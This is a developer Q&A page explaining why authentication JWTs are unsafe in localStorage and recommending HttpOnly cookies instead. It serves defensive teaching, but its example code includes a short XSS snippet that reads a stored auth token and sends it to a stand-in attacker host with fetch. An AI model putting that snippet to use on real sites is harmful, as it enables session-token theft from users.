100% Client-Side Computation • Zero Server Logs • Instant Execution
Curious TechieDev Toolbox
Authentication & JWTIntermediateVerified Answer

Why Shouldn't You Store JWTs in LocalStorage?

Direct Answer (AEO Summary)

You should not store authentication JWTs in localStorage because any Cross-Site Scripting (XSS) vulnerability on your page allows malicious JavaScript to instantly read and exfiltrate the token. Storing tokens in HttpOnly, Secure, SameSite cookies protects them from JavaScript access.

Detailed Technical Explanation

Web Storage (`localStorage` and `sessionStorage`) is completely accessible to all JavaScript executing within the same origin. If an attacker injects a malicious script via an unescaped comment, compromised npm package, or third-party ad script, they can execute `localStorage.getItem("token")` and transmit the victim's session to a remote server. In contrast, cookies flagged with `HttpOnly` cannot be read by `document.cookie` or client scripts, providing defense-in-depth against credential theft.

Technical Example & Code

Trivial XSS Exfiltration vs HttpOnly Cookie Protection

Demonstrating how easily localStorage tokens can be stolen compared to HttpOnly cookies.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Deterministic Technical Causality (GEO)

"Browsers enforce security boundaries based on origins. While localStorage enforces the Same-Origin Policy against cross-site reads, it provides zero internal isolation against scripts running within the same page context. Because XSS allows arbitrary script execution within the origin, localStorage offers no barrier to credential harvesting once XSS occurs."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"Storing JWTs in cookies is worse than localStorage because cookies are automatically vulnerable to CSRF."

✓ Technical Reality

Modern browsers support the `SameSite=Lax` or `SameSite=Strict` cookie attribute, which automatically withholds cookies on cross-origin requests, effectively neutralizing CSRF without exposing tokens to XSS.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base